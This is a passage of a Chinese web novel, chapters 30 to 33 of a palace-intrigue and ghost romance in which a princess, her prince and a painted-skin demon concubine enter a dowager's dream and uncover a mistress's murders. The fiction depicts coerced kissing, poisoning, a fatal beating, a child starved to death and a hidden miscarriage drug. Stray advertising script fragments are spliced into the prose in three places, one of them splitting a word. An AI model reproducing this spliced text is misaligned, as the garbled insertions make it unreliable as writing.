许清秋实在难以想象,自己作为正妻是如何与一个小妾生出情意来。 更何况,那个小妾甚至是只扒人皮囊,心狠手辣的画皮妖。 想到这里,许清秋不禁一阵恶寒。 将自己的疑惑道明,碧水细数道:“您与安侧妃共同作画,相约骑马,曾经还共眠于一榻上,这怎能称不上关系情深呢?” 许清秋出生将军府,爹为大将军,战功赫赫,深得皇帝赏识,百姓爱戴,娘是才貌双全的大家闺秀,按理来说,她该是被百般宠爱长大的,如果她不是个女儿身的话。 说来讽刺。 许清秋从小吃喝不愁,却觉得自己都不如普通百姓家的女儿。 爹娘愿意给自己提供衣食住行,却不愿一句关心;愿意让自己学习琴棋书画,却不愿给自己一个上学堂的机会;所有的一切都要让给哥哥弟弟,只因自己是个女子。 许清秋大哭过,也呜咽过,不明白为什么爹娘以一种若即若离的态度对待自己。 直到自己及笄——被赐婚给端王。 她这才恍然,原来是为了嫁入皇室做准备。 倘若自己没有最后这个价值,便会被毫不犹豫地丢弃掉。 许清秋被迫长大,被迫懂事,也因此沉默地接受了这个事情。 她不会与旁人过于亲密,只有自己的随身丫鬟——小荷与自己略微亲昵一些,在她被林夫人遣回老家时,许清秋夜晚时偷偷抹眼泪,天亮后又故作坚强。 因此碧水此话让许清秋一惊。 倘若真如她所言,那许清秋必定对对方极为信赖。 饶是碧水有理有据,许清秋依然半信半疑。 府中的人都说她与端王情感深厚,许清秋却不以为然。 倘若真如此,两人为何直到现在还在分房睡。 昨日凌昀生终于醒来,府中皆大欢喜,尤其是老王妃,更是欢愉,许清秋却连去看望的心思都没有升起,谎称自己身体仍然抱恙。 屋外微风阵阵,近日里天气转凉,透着些凉气,许清秋躺在躺椅上,一身月白色外袍,面色柔和地看着怀中的黑猫。 她眼神温柔,用手指勾着黑猫的下巴,惹得它舒服地直咕噜。 许清秋被它的模样逗笑。 一小厮忽得进了屋门,跪了下来:“王妃,王爷醒来了,只是一直喝不下药,一直嚷着您的名字,老夫人特让奴才来请您。“ 许清秋沉默了一瞬,应道:“本王妃知晓了,带路吧。” 原本颇好的心情被打扰,许清秋有些怨念心想道,不愿喝药与她有何关系,难不成她是郎中吗?她一去就能喝下药了。 内室中。 安眠香袅袅升起,几缕白烟飘散在屋中,烟雾缭绕。 帷帘之内,床榻上的青年面色困乏,却依旧不遮他的俊朗。 凌昀生紧紧握着许清秋的手,手下滑嫩的触感让他有些爱不释手。 青年目光灼热。 许清秋有些不自在地想要收回手,却发现对方实在力气过大,自己用尽全力也只将手缩回一丁点距离,又顺然被握了回去。 饶是二人是夫妻,许清秋也有些难为情。 “王爷不是还要吃药吗?” 她委婉道。 言下之意便是吃药就好好吃药,赶紧把我的手松开。 凌昀生自然也听懂了她的言外之意,歉意地笑笑:“还请夫人见谅,本王只是觉得,握着夫人的手更心静点。” 许清秋一时不知如何辩解,只好认亏沉默。 握着便握着吧。 想到老王妃的叮嘱,许清秋叹了口气。 用空余的右手指了指桌上的药碗。 “王爷快喝药吧,再放久一些便会凉了。” 凌昀生弯眉道:“还请夫人喂本王喝药。” 青年大病初愈后,似乎将身体里的毒素排清了。 原先的凌昀生虽生的相貌俊朗,五官端正,但他眼底的黑青,眼中的纵欲总会将这几分俊朗大打折扣。 而现在的他,面容白净,眼神清澈,活生生的俊俏公子。 许清秋对上这张脸,微微失语。 只是…… 许清秋垂眸看了眼紧握的双手:“王爷这让妾身如何端碗。” 凌昀生好似这才反应过来,他失笑道:“这倒是本王疏忽了。” 许清秋以为他终于要放开自己的手,结果下一刻,他自己用空闲的手握住了碗,然后抬眸看着许清秋笑,也不说话。 但眼中的意味十足—— “现在可以了。” 许清秋:“……” 她僵硬地递上勺子来,苦涩黑糊糊的药汁露出表面,令人忍不住蹙眉逃离,许清秋心里怀了丝幸灾乐祸,想要看凌昀生被苦得直吐舌的模样,却不想,这一幕并没发生,对方笑意盈盈,好似喝下去的不是苦涩的中药,而是清爽的茶水。 一碗药很快见底,许清秋将手抽了回来,这次很轻松,许清秋将碗放在桌面上,自己的任务完成了,她便想要回卿琅阁了。 凌昀生直勾勾地看着她迫不及待离开的身影,眼里满是痴气与笑意。 许清秋回到房间后,忽然开始到处翻找。 在梳妆镜的匣子中找到了一张画像。 惟妙惟肖,妙笔生花。 她只需一眼便知这画中的人便是自己。 想到碧水所说,心里明了,这便是那位安侧妃所作。 许清秋的目光落在画布上,心里升起惊叹。 画技实在精湛,又不是很死板的画法,其间有一种生动的画风,令人赞叹不已。 又想到作画者是一只画皮妖,心里升起恶寒。 这得是在多少尸体上练习下的,才能有这般画技。 连忙将画布塞进匣子中,仍不安心,又拿锁子锁好。 此时已过晌午,太阳斜斜地落下,留下无尽暖意。 倦意席上眉头,许清秋脱掉外衣,便上了美人榻。 帷帘落下,将女子美好的轮廓遮盖,却又遮盖不全,若隐若现,半抱琵琶半遮面,增添了几分朦胧的美意。 夜色阑珊,周边寂静。 许清秋步履匆匆,她的脸色慌乱,面色苍白。 今日在清真寺,方丈直接道明她的处境。 许清秋惊慌的同时又升起了一丝希望。 那可是一只杀人不见血的怪物。 倘若小安想对自己下手,她一点办法都没有。 但是现在不一样了。 有人可以救自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 许清秋握紧在腰间放好的殒身丸,一颗小小的药丸给了她无限勇气。 很快回到了卿琅阁。 在借着月光看清窗边的人时,许清秋霎时身子颤抖。 无他,只因自己最为恐惧的人就坐在那里。 那只怪物正垂眸画着什么,敏锐地注意到她的注视,立马看了过来。 女子弯眉,嘴角弧度翘起。 一双水眸直勾勾地盯着许清秋。 “姐姐去哪里了?” 许清秋没说话,她走到了屋内,两人之间隔了很长的距离,女子的目光却如一颗磁吸似的牢牢固定在她的身上。 “你为何来这里了?” 小安笑意渐深,她慢步走了过来,柔软的腰身微微起伏。 “姐姐的卿琅阁可是不欢迎妾身,妾身竟也来不得此地。” 许清秋面色冷静,实则紧紧地掐着自己的手心,留下阵阵的疼痛感。 “称不上不欢迎,只是合该守规矩一些。” 小安点点头:“守规矩,自然是要守得。” 见她态度和善,许清秋忽然想到腰身的那颗药丸,心生一计。 她走到桌前,给两人各倒了一杯茶水,又转过身,在不经意间将那颗药丸丢进属于小安的那杯中。 值得庆幸的是,那药丸遇水即溶,很快便没了踪影。 许清秋松了口气。 她转过身,脸上扬起温柔的笑容。 “但妹妹总是不一样的,既然妹妹愿意来我这卿琅阁,我自是欢迎的。” 话落,她自然地将茶水递给对方。 小安眼底神色莫名,她紧紧地盯着这杯茶水,半晌没动作。 许清秋心里升起几分忐忑来。 好在对方忽然翘唇一笑,便将茶水一饮而尽。 见状,许清秋放下心来,她努力忽视掉心里的那抹异常。 只是,等了许久,都没见对方有任何异常,许清秋心里已有些焦灼了。 眼见女子坐立不安,小安忽得捂唇笑道:“姐姐在等什么?在等着妾身毒发身亡吗?” 许清秋瞪大眼。 心里的那层心思被当众剥开,她的唇色失了血色,努力维持脸上的稳定,但眼里的恐惧已将自己的所有情绪暴露。 小安没了笑意,冷冷道:“那个臭道士竟是这般蛊惑姐姐的,姐姐可真让小安失望。” 许清秋的身子开始发抖。 一切都完了。 接下来,会怎么做。 这个怪物是不是也要将她的皮扒掉。 小安上前来,含住许清秋的耳垂,舔舐啃咬。 许清秋的眼泪已到了眼眶边缘,她呜咽出声。 小安的身子一滞,继而放缓了动作。 她放过了对方的耳垂,发出“啵”的一声,留下诡异的水痕。 小安轻哄道:“都是那个臭道士的错,小安知道姐姐是被有心之人利用,小安自然不舍得怪姐姐,都是姐姐太单纯了,姐姐以后可莫要如此了。” 许清秋的眼泪哗地一下就流出来了。 眼睛红红的,像一只小兔子。 看向小安的目光神情复杂。 小安呼吸一紧,忽然上前来亲亲许清秋的嘴唇。 “但是姐姐还是该罚。” 她的眼里滑过狡黠。 拉着女子,在她的唇上使坏地按压,啃咬,留下片片红痕,直把人啃肿了这才停下,又强行与她的舌头缠绕,许清秋支吾着流眼泪,却无济于事。 31. 画皮妖 近日来,许清秋极为悠闲,没事的时候便逗逗猫,赏赏风景,日子倒也平稳,只是她总是睡不好,每日醒来后腰酸背痛得紧,每日每日地做梦,醒来却记不清梦中的丝毫记忆。 偶尔凌昀生会来卿琅阁小坐一会,说几句话便又走了,许清秋耐心地敷衍几句,对方应当是看出来了,后面来的次数便少了些。 印象最深刻的一次是两日前,宫里送来了些西域的樱桃,许清秋最为喜爱吃樱桃,却独爱吃那种水分浓到极致,一口咬下去便能充斥口中的樱桃,由于地域的气候差异,京城中盛产的樱桃一向不合许清秋的口味,但习惯忍受的她从未将自己这个挑剔的口味说给旁人。 不曾想凌昀生竟是知晓。 那日天气阴暗,细雨绵绵,水滴落在屋檐上发出“嘀嗒”的声响,凌昀生披着瑞兽纹素软缎氅衣,单手撑着一把纸伞步步走来。 这件衣裳极为适配他,衬得人愈发眉眼俊朗,气度不凡。 凌昀生进了门,将樱桃放置在桌上。 自顾自地坐了下来。 动作之娴熟。 许清秋当时刚午睡醒来,她庆幸自己及时穿了外衣。 凌昀生抬眸看她,嘴角含笑:“宫里送来了些樱桃,夫人不若尝尝?” 许清秋无奈地垂眸。 前日送桂花糕,昨日送酸梅汁,今日送樱桃。 不知明日又会是什么。 凌昀生真是反常极了。 她本是附和似的随意地尝了一颗樱桃,下一刻,双眼惊愕地睁大。 许清秋只在幼时参加盛宴时尝到过一次这种滋味的樱桃,那是皇太后的寿宴,其间宴席之上便摆了一道樱桃肉,许清秋本是来不得的,爹娘本意是带弟弟来参加,谁料弟弟顽劣,与人玩闹之际不慎掉入水中,在床上躺了整整一日,许清秋便跟着来了。 她尝了一口樱桃,从此便记住了这个味道,此后一直念念不忘,却始终没有尝过这个滋味了。 看到她这副模样,凌昀生弯眸道:“本王知晓夫人会喜爱,特意送了过来。” 俗话道,吃人嘴软,拿人手短。 吃了凌昀生的樱桃,许清秋也不便像往常那般敷衍他了,两人对席而坐。 凌昀生道:“宫里的贤妃生了一个皇子,皇帝龙颜大悦。” 许清秋点点头。 皇帝子嗣充盈,足有三十个子女,但其中公主就占到了二十三个,算上这位贤妃的儿子,也只有7个皇子。 这倒也不奇怪。 “今日去宫中面圣,圣上说:‘在你这个年纪,朕已经有五六个子嗣了。’本王羞愧难当,只好笑称快了。” 这话说得突然,许清秋惊愕地看向他。 “可本王房中便只有夫人一人,子嗣自然也只有你我努力才能拥有。” 凌昀生一本正经道。 许清秋红了脸。 撇过头道:“何以见得,安侧妃难道不在王爷的后院之中吗?” 凌昀生眉间几分兴味。 “夫人难不成不知那安侧妃是个怪物,还是说,夫人仍在介意此事?” 许清秋抿唇:“怪物又如何,也是王爷自己招来的。” 凌昀生弯眸,眼中神色莫名。 “夫人怎生一直向着那怪物说话,难不成夫人真的如府中传言,与那怪物情真意切?” 这话好生尖锐。 许清秋努力压下心中的不适,但那尖刺始终平缓不下去。 “王爷说这些所谓何事,倘若是想要纳妾,妾身作为王妃,自是懂得此事,定不会胡搅蛮缠,让后院失心。” 话落,许清秋便有些后悔了。 她一向识得大体,方才这番话看似包容体谅,实则充斥着个人的情绪,这实在有违风尚。 凌昀生听后倒也不恼。 他往前坐了些,离许清秋更近一步。 甚至能闻到他身上的桂花香,许清秋脸色一僵,第一反应竟然不是他为何突然离自己这么近,而是作为一个男子,凌昀生身上竟然会带有香味。 京城之中,女子为了打扮,会买一种香料,带在身上久了,香味就会久久不散。 不曾想,王爷竟也会这样。 凌昀生长臂一伸,将人揽入怀中,桂花香愈发浓烈。 他凑近许清秋的耳边,悄声道:“夫人莫气,夫人莫气,都是本王的错,本王哪里是想纳妾了,有夫人一个美娇娘便已足够了,夫人羞涩,本王不便直说出口,但夫妻本为一体,什么话都是说得的,夫人说呢?” 许清秋被他的动作惹红了脸,有些抗拒地想要推他,无奈女子的力气过小,凌昀生将她的手包在手心里,两人之间的距离更近。 凌昀生好似仍不满足,又抱住人的腰身,微微一提,就将人带在了自己的腿上。 凌昀生满足地眯眼。 将头靠在许清秋的脖颈处。 “话到这里,夫人竟还是不懂本王的意思吗?亦或者是,不懂装懂?” 凌昀生抬眸,眼神缠绵。 “——本王想和秋秋有个孩子。” 许清秋这下从脸红到脖子。 她不知说些什么。 只好呆呆地看着凌昀生。 凌昀生惯是受不了她这副娇憨的模样,眼底一暗。 他抬头凑了过去追寻许清秋的唇,将人的唇含住舔舐。 很轻柔。 许清秋被迫闭着眼,鼻间都是属于凌昀生身上的桂花香。 意识昏沉之际,许清秋心想道。 可能府中的传言不假,她应当是与凌昀生情感极好的,要不然怎么会他刚亲上来,她就习惯性地想要张嘴了。 待他坐好,两人的唇瓣分开,牵扯出一条缠绵悱恻的银丝。 许清秋茫然地看着凌昀生,显然还没有回过神来,男女缠绵过后,之间的温存极为自然。 凌昀生将人收紧,忽然抑制不住笑声来。 他闷笑了两声。 许清秋疑惑地看了过去:“王爷怎么了?” “本王快忍不住了,秋秋呢?秋秋能否忍得住?” 他调笑着。 许清秋没听懂,紧接着便听到一句:“待本王的伤势好了,定不会让秋秋忍了,现在先委屈委屈我们秋秋。” 许清秋忘了她是怎么回的,只是羞愤欲绝地将人推了出去。 只听见门后传来愈发爽朗的笑声。 * 没过多久,府中又不太平了。 老王妃多日的梦魇让她的情绪极不平静,她易怒暴躁,听她房中伺候的丫鬟说道,她还会在梦中惊恐地喊道:“救命,我错了,别来找我……”这种让人匪夷所思的话语。 老王妃本是打算除掉扰乱王府的画皮妖之后就启程回寺庙,谁料出了这种事,一时人心惶惶。 好多人都声称老王妃这是中邪了。 还有人说是那只画皮妖没死干净,来报仇了。 许清秋依然会做梦,但与此不同的是,她的梦中总会出现一个娇俏的女子。 梦中她们二人共同作画,骑马,共眠。 皆与碧水所言对上了。 许清秋知晓,她便是那个安侧妃——那只画皮妖。 她在梦中将两人的温馨日常看了一遍又一遍,逐渐熟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 稔于心。 但与此同时,安侧妃的占有欲,强势,待许清秋不正常的亲昵也显露出来。 许清秋心惊的同时,那次方丈杀掉画皮妖的画面开始在她的脑海中重映。 初次,许清秋恐惧,大叫,害怕。 次数多了,她开始麻木,痛苦。 梦中的那个女子步步紧逼:“姐姐为何不救我,小安好疼,小安好疼……” 许清秋迷茫心想,是否真如府中传言那样,那只画皮妖前来复仇了。 在接下来几日,林夫人脸色越来越苍白,身体越发消瘦,请了郎中也无甚作用,郎中摇摇头,对凌昀生和许清秋说:“这是心病,解铃还须系铃人,药物是没有效果的。” 许清秋去看望林夫人时,却听见屋中传来说话声。 “方丈说我身上有妖气,肯定是那群贱人,好在方丈给了我能感应妖气的铃铛和符咒,你们敢来报复我,就等着下地狱吧!” 许清秋这才意识到是林夫人在自言自语。 这样说来,林夫人是去寻了住持。 妖气…… 许清秋心里已有了打算。 在林夫人用膳时,许清秋悄悄潜入她的房间。 仔细搜寻着她口中的铃铛和符咒。 不得不说,林夫人是个很小心的人,她就将这两样东西放在自己的枕头下面,以备不时之需。旁人定不会想到竟是在这个地方。 找到东西后,许清秋迅速离开了房间,小心抹去了痕迹。 黄色的铃铛小巧精致,看起来与女子做配饰的铃铛没有区别。 许清秋沉思了下,将铃铛与符咒锁在自己的胭脂盒里,倘若那妖气指得是那只画皮妖呢? 梦中的她每日都在哭,她死的场景一遍又一遍地回放在自己的脑海中。 次数多了,就连许清秋都在想,是不是因为她没有尽力救下安侧妃,所以她才死得这么惨。 躺在床上后,许清秋仍是失眠睡不着,待凌昀生走进她房间,她忽然听见一声铃铛响,许清秋看向青年,若有所思,似乎声响是从梳妆镜那个方向传来的。 青年躺在她身侧。 两人像往常一样交谈着,说些自己感兴趣的事情。 许清秋说:“今日云秀阁送来了口脂,你要看吗?” 在看到凌昀生笑着点头后。 女子悄悄攥紧了手。 “那王爷能不能帮我取一下胭脂盒,我有些困乏了。” 凌昀生取笑她道:“夫人如今使唤我倒是使唤得熟练了。” 话虽如此,他还是乖乖地下床去拿了。 刚碰到那胭脂盒,便发出几声清脆的铃铛响声。 青年好奇地挑眉:“夫人这盒子里还装着铃铛?” 许清秋点头:“女子一般都喜爱用铃铛作配饰。” 打开盒子,许清秋不动声色地讲铃铛放置在一旁,取出口脂,向自己的嘴唇上抹了些许。 她抿唇,将口脂涂抹均匀,红色的口脂衬得女子更为娇艳动人。 “王爷可觉得好看?” 凌昀生用手指摩挲着她的唇瓣,笑道:“自然是好看的。只是不知夫人可否也赏本王一点口脂?” 许清秋疑惑地看向他:“王爷想要,妾身定是会给的,何来赏一说。” 青年眼眸加深:“本王想要夫人怜爱一下我,赏唇上的口脂给我吃吃。” 微微低头,便将女子唇上的口脂吃得一干二净。 许清秋脸红得不看他,凌昀生搂住女子,慢吞吞道:“谢谢夫人的赏赐。” 青年在背后笑弯了眼,姐姐这是终于要发现了吗。 32. 画皮妖 碧水与许清秋经过多日的相处,愈发熟稔。 许清秋待人温和,也不会摆主子的架子,碧水是个大大咧咧的性子,见主子人好,竟也什么都说。 “王妃,人家都说老夫人这是被鬼上身了!” 她瞪大眼,眼里恐慌。 许清秋蹙眉,摇摇头:“慎言。” 无论是真是假,都不能枉下结论,老王妃常年吃斋念佛,一心向佛,看似慈悲为怀,手段却一点也不手软,眼里容不得一点沙子。 倘若之后让老王妃知晓了,少不了苦头吃。 碧水谨慎地点点头。 她又伸头过来道:“王妃今日又来了一个郎中。” 许清秋不在意道:“这有何稀奇,这几日多少郎中请过了。” “今日似乎不同,那郎中看起来倒有几分实才,他声称老夫人是受惊犯了癔症,每夜的梦魇又扰乱着她的思绪,导致她病情加重。” 与老王妃的症状都合上了。 许清秋继续问道:“可曾说有何解法了?“ 碧水正欲开口,便听见外面有小厮道:“王爷特请王妃前往正堂。” 许清秋应了声,便匆匆地赶去。 这般紧急,忽然唤她,莫不是老王妃此事有了法子。 郎中被控制着心神,眼底有几分呆滞之气,见人已齐,开口道:“此病虽吓人,但并不是没有办法,只是需要王爷与王妃合力相助,方可破。” 许清秋微微惊愕地抬眸,便见凌昀生面色平静,仿佛对这个说法毫不在意。 她问道:“为何需要我们二人?” 郎中蹙眉,叹了口气:“王妃有此疑问实属正常,倒也不瞒王妃,您与王爷为老王妃的亲人,你们二人前往老王妃的梦境,找出老王妃心中恐惧,打破恐惧根源,方可使老王妃清醒。” 这个治疗之法实属新鲜,许清秋从未听说过。 凌昀生挑眉,问道:“你可有法子让我们进入娘的梦境之中?” 进到别人的梦中,简直匪夷所思。 郎中不过是一个治病的,哪里懂这种道法之术。 许清秋原以为凌昀生是心中不愿,这才故意刁难郎中。 谁料郎中竟像意料之中似的,他点点头:“自然是有的,喝下我特意调配的药汤,方可进入老夫人的梦境。” 许清秋犹豫之际,被人轻轻握住手。 凌昀生眉眼弯弯:“夫人莫怕,本王会保护你的。” 许清秋心神微定。 两人喝下药汤后,躺在床榻上,对面是陷入梦魇之中的老王妃。 郎中踏出王府后,看着街边络绎不绝的人群,被控制住的心神渐渐清明。 他疑惑道:“欸,我怎么在这里,啊想起来了,我这是要去给王夫人看病,瞧我,真是越老越糊涂了。” * 呼呼的风声。 一只巨大的风筝在天空飞翔,牵引它的白线若隐若现,顺着白线看去,一个男孩攥住线,脚下跑的飞快,发出雀跃的欢呼声。 台阶上,一个身穿白色衣裙的女子含笑望着这一幕。 待男孩疲倦了,她招招手。 “阿生,快过来。” 被唤的男孩噔噔噔地跑来,问道:“娘亲,怎么了?” 女子摸摸他的头,温柔地说道。 “娘亲那送来了许多梅子,太多了,我们吃不完,三姨娘怀孕了,你去给她送些梅子,刚好解解馋可好?” 凌昀生点点头,听话地跑去送梅子。 望着男孩的身影,女子笑着,却不达眼底。 楼兰阁。 女子躺在床上,肚子高高隆起,看起来足足有八个月份大了。 她近日被孕吐折磨得瘦了一圈,却还是哼着歌,轻拍着自己的肚子。 “怀孕可真辛苦,我以后才不要生孩子呢。” 身旁的婢女小金一边为她揉着酸痛的肩膀,一边后怕地说道。 薛姨娘闻言轻笑,拿起手指轻点她的额头。 “你呀,最是天真无邪了,这是女人该经历的一回。” 小金不以为然,哼了一声,倒也没说什么。 门外忽然有敲门声。 “薛姨娘,我娘让我给您送点梅子。” 听到凌昀生的声音,薛姨娘连忙让人进来。 男孩提了满满一篮子的梅子,个个饱满色香,薛姨娘想要起身,却被臃肿的肚子困住,半晌起不来,小金将她慢慢扶起,她艰难地走了过来。 “夫人有心了,就是我如今身子这般,不方便招呼阿生。” 凌昀生爽朗地笑着:“薛姨娘说得什么话,我也不是小孩子了,哪里需要人招呼。” 顿了顿,他骄傲地说道。 “我今年可都十岁了!” 这话一出,薛姨娘与小金都笑出了声,童言无忌,让人忍俊不禁。 凌昀生坐了一会儿,便起身了:“姨娘你好好休息,我就先回去了。” 主仆二人目送着男孩蹦蹦跳跳地离开。 小金说道:“大夫人和昀生少爷人可真好。” 薛姨娘没说话,却也笑弯着眼,显然赞同她的话。 小金拿着棒槌和搓衣板往河边走去,便看见一个小小的人影缩在树枝间,正瑟瑟发抖。 她停住脚步,认真看去。 原是凌昀生。 “昀生少爷,你去树上干什么啊,树上危险,快下来!” 男孩泪眼朦胧:“你以为本少爷不想下来啊,我被挂在上面了,我的风筝挂树上了,我爬上来找它呢。” 小金扑哧一笑。 她展开双臂:“少爷往下跳,奴婢会接住你。” 凌昀生抹抹眼泪,试着把腿往下一伸,又颤抖地收回去,酝酿了一会儿,他闭上眼,直直地往下倒。 感受到女子柔软的怀抱,他睁开眼睛,眼睛一瞬间变成红色,待细看时,又恢复成褐色。 小金勉强地支撑住男孩,说道:“看吧,奴婢说会接住你。” 凌昀生环住她的脖颈,眼泪汪汪:“呜……我害怕” 男孩生得唇红齿白,眼泪在眼眶中打转,眼睛红红的,像一个瓷娃娃。 小金心里软软的,轻拍他的脊背,哄着他。 等了半晌,也没见男孩下来,小金狐疑地看向他,哪怕她做惯粗活,力气比平常女子要大一些,也架不住一直抱着一个十岁的男孩。 男孩轻轻别开脸,避开她的视线。 “……我的腿麻了,劳烦小金姐姐将我送回寝室了。” …… 小金每日都会陪着薛姨娘,她月份大了不便出去,她便将外面好玩的事情一一讲给她。 薛姨娘抚摸着腹部,眼里温柔:“待这小家伙出生后,好好长大,便能亲眼去见识你所说的美好了。” 小金轻声喟叹,她已换过好多个主子了,薛姨娘是最善良,最通情达理的主子。 虽然贵为姨娘,却不自恃高人一等,反而对他们这些下人极好。 好人就该幸福美满,她希望薛姨娘快快乐乐,平安生下小主子,到那时便能一起去见识这个美丽的世界。 薛姨娘困乏睡下了,小金出门溜达。 却听见几个交情好的婢女在窃窃私语。 “六姨娘被打得好惨,隔了好远都能听见她的惨叫声,真可怜。” 小金连忙问道:“发生了何事?为何会这样?” 婢女听到声音吓了一跳,抬头发现是小金,这才呼了口气。 忽然想到小金的前主子便是六姨娘。 她们神情有些许不忍,犹豫道:“六姨娘被指控与人私通,就连小少爷也不是王爷的,人证物证俱在,王爷发了好大的火,让人打了六姨娘五十大板。” 五十大板! 小金惊愕,五十大板都少有男子能挺过去,别说是娇滴滴的六姨娘,显然王爷是下了狠心的。 她抿唇,抬脚小跑过去。 远处的场面狰狞一片。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 六姨娘躺在长凳上,背后的衣服满是血迹,已看不出原本的颜色来。 她垂着头,人们都以为她已经没有了呼吸。 主座的端王一张脸上满是怒火。 却没想到那女子又艰难地抬起头,微弱的声音。 “妾身……从未……做过任何……不……规……之事……” 众人皆偏开头,心中有些不忍。 端王看到她这般惨状,心中的怒火也渐渐减少。 一旁的大夫人轻拍他的胳膊。 “王爷,六姨娘想必也是有苦衷的,可否送她去看一下郎中。” 端王一听这话,立马怒火中烧。 他甩开林素瑛的手,狠狠地说道:“她有什么苦衷!人证物证俱在,难不成还是本王冤枉了她不成!” “不见棺材不落泪,来人,再打二十板!” 林素瑛一听这话有些急了:“王爷……” 端王冷冷地看着她:“你再为她求情,就别怪我迁怒于你。” 话落,女子愣住,低下头,坐回了自己的位置。 板子落在身子,发出闷响,在打了三板以后,打手停住了。 “王爷,人断气了。” 端王挥挥手:“拖出去处理了。” 小金呆愣地看着这一幕。 如此得可笑。 人命如草芥。 以前高傲不可一世的六姨娘竟如同一只蚂蚁般微不足道。 回去后小金做什么事都心不在焉,为薛姨娘熬安胎药时竟失手将药打翻了。 她手足无措地看向薛姨娘。 便见薛姨娘微微叹气:“这是怎么了?一直看你心慌,也不同我讲。” 小金眼泪顿时涌出来了。 她带着哭腔将事情讲了一遍。 薛姨娘面色有些凝重。 “这简直是无稽之谈!六姨娘虽然心高气傲,常常打骂下人,但她对王爷始终是真心的,怎么可能会做出这种事情。” 小金揉着眼睛,不解地说道。 薛姨娘用纸巾抹去她的眼泪,看向远方。 “小金,这个世界远比你想象的残忍。” 小金已见识到“残忍”一词了。 却不知道,这仅是开端。 六姨娘死后,被人丢进了乱尸岗,她母家薄弱,也对她没有几分真心,嫁到端王府享受了半辈子荣华富贵,死后却连个墓碑都没有,无人为她收尸,尸体被野狗咬的稀碎。 由于通jian,她的儿子被认为是杂种,虽然没有被赶出王府,却也无人问津。 才五岁的小孩子,在柴房受尽折磨与屈辱,最后竟被活活饿死。 小金这才意识到,“残忍”这个词的可怕。 来不及感慨与忧思,转眼间薛姨娘要临盆了。 听着门内撕心裂肺的哭喊声,小金急得直冒泪花。 接生婆喜悦的声音传出门外:“伸出来一只脚了,夫人加把劲!” 小金心中微微安定。 却听见接生婆慌乱道:“怎么会这样!夫人大出血了!” 伴随着她的话落,更加撕心裂肺的哭喊声传出。 恍惚间,这道声音与小金脑海中六姨娘的声音重叠,小荷泪流满面,却也只能坐在地上绝望。 不知道坐了多久,便看到薛姨娘被抬了出来。 小金连忙起身问道:“夫人怎么样了?” 接生婆避开眼神,遗憾地说道:“夫人没挺过,已经断气了,一尸两命,孩子也没能出来。” 轰隆一声。 小金脑海中似乎听到了一声雷响。 是天塌了吗。 她抓住接生婆的手,问道:“为什么会忽然大出血?” 接生婆皱眉:“我也没想到,刚开始夫人的状态很好的,忽然间就开始大出血了,不过女人生孩子本来就是九死一生的事情,还请节哀。” 她摇摇头。 小金愣住,头脑中一丝灵光乍现。 33. 画皮妖 夜晚降临,小金缩成一团,眼角滑下泪珠,她瑟瑟发抖着。 一个黑色的身影从窗口跳了进来。 小金听见声响,立马抬起头,质问道:“你是何人!为何跑进我的屋子!” 在与那双眼睛对视后,小金的脑海中忽然传来浪潮般的记忆。 清醒后,小金——也就是许清秋忽然意识到为何那个郎中要让两人一同进入梦境,原来真的会沉浸在梦境中。 她抬起头,问道:“王爷是何时清醒的?” “两月之前。” 话落,女孩眼泪又涌了出来。 “为何你不早点唤醒我,若是……” 凌昀生用手指抬起她的下颚,看着她的眼睛。 “夫人可知道这是哪里,这是梦境,梦中我们可以经历往事,却不能改变结局,因为这是已经发生过的事情。” 许清秋擦干眼泪,这才真正意识到自己已陷入到这段情感中,她切实地将小金的经历当成了自己的经历。 女子哽咽道:“我已经查出真相了,难不成就这样让坏人逍遥法外吗?” 凌昀生轻笑,悠悠出声。 “自然不是,我们改变不了结局,却也能为凶手制造一个幻境。” * 天阴恻恻的,乌云密布,看得人无端胸闷。 婢女为林素瑛脱下外衣,女子展开双臂让她伺候着。 婢女小心翼翼地将她头上的发髻拆开,许是害怕,手一抖,竟不小心扯了她的头皮。 林素瑛疼得嘶了一声,反手一巴掌狠狠扇向婢女的脸颊。 “贱人!这点小事都做不好!” 婢女通的一声跪在地上,脸高高肿起,泪眼婆娑,止不住地求饶。 女子眯眼,忽然用手指勾起她的脸。 “现在才发现,你倒是长的清秀。” 婢女肤色白皙,五官端正,如今这副眼泪半掉不掉的样子,更是为她增添了几分楚楚动人的意味。 长长的指甲轻划在她的脸上,林素瑛嗤笑道:“长着一副勾人的样子,难不成是想勾引王爷,好攀上高枝?” 婢女脸瞬间白了,她哭着摇头。 女子拿起搁在一旁的剪刀,笑道:“让我来为这张清丽的小脸修饰一下,添上几道装饰如何。” 婢女不停地后退,眼里满是恐惧,嘴里不住地说道:“别过来……别过来……” 一声惨叫回荡在屋中,天上骤然响起一声雷声,轰隆作响。 夜深人静之际,林素瑛身着单衣,躺在床上难以安眠。 梦中她看到了几个身影,有高有低。 待他们转过身来,竟是几个女人与孩子,他们的形态皆非人,眼中含着血泪,向她飘来,绝望地喊道:“林夫人你害的我们好惨!” 其中一个状似薛姨娘的鬼魂狠狠掐住她的脖颈,她呼吸不过来,脸色青紫。 林素瑛大喊一声,骤然惊醒,醒来后仍然惊魂未定。 她后怕地用手捂住自己的脖颈,幸好只是梦罢了,她还活得好好的。 镇定后,女子冷笑一声,可怜的蠢货们,也就只能在她梦中作祟,现实中她仍然逍遥自在,他们又能奈她何。 又是一声闷雷响声,林素瑛被吓得一抖,下意识看向门外,却白了脸色。 只见一只手从门后伸进来,长长的指甲深陷于墙面,门开了,一个面如白纸,唇色却红得鲜艳得像血一样的女子看过来,她的表情诡异,让人毛骨悚然。 但最令林素瑛害怕的是,这个女子竟与死去的薛姨娘长的一模一样! 她抖着身子喊道:“切莫装神弄鬼!这个世界上根本就没有鬼!别以为我会怕你!” 见女子不作声,林素瑛心里有了几分底气,她瞥见桌上的剪刀,眼里闪过精光。 女子离她越来越近,眼里的怨恨越大明显。 “林夫人可知道,你害死了我们母女二人!” 她抖着嘴唇说道:“她才刚满十月份,还未好好见识这个世界,就被你害死了!” 林素瑛故作镇静道:“空口无凭无据,凭什么说我是凶手!” 薛姨娘冷笑:“事到如今,你还要装吗?那篮子的梅子可是被你下了滑胎药?” 女子下了床,趁机靠近桌子,一把握住剪刀。 